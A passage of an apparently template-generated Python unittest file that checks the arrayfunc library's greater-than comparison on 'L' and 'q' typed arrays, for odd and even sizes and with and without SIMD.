expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code L.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code L.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_withsimd_simd_L_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'L' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'L' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.L_min
maxval = arrayfunc.arraylimits.L_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'L' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('L', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('L', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('L', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('L', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('L', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code L.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code L.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code L.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code L.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code L.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code L.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code L.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code L.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code L.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_withsimd_simd_L_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'L' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'L' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.L_min
maxval = arrayfunc.arraylimits.L_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'L' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('L', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('L', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('L', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('L', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('L', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code L.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code L.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code L.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code L.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code L.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code L.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code L.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code L.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code L.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_nosimd_simd_q_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'q' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'q' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.q_min
maxval = arrayfunc.arraylimits.q_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'q' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('q', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('q', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('q', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('q', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('q', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code q.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code q.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code q.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code q.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code q.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code q.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code q.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code q.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code q.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_nosimd_simd_q_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'q' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'q' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.q_min
maxval = arrayfunc.arraylimits.q_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'q' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('q', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('q', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('q', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('q', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('q', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code q.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code q.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code q.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code q.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code q.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code q.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code q.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code q.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code q.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_withsimd_simd_q_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'q' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'q' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.q_min
maxval = arrayfunc.arraylimits.q_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'q' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('q', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('q', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('q', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('q', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('q', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code q.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code q.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code q.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code q.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
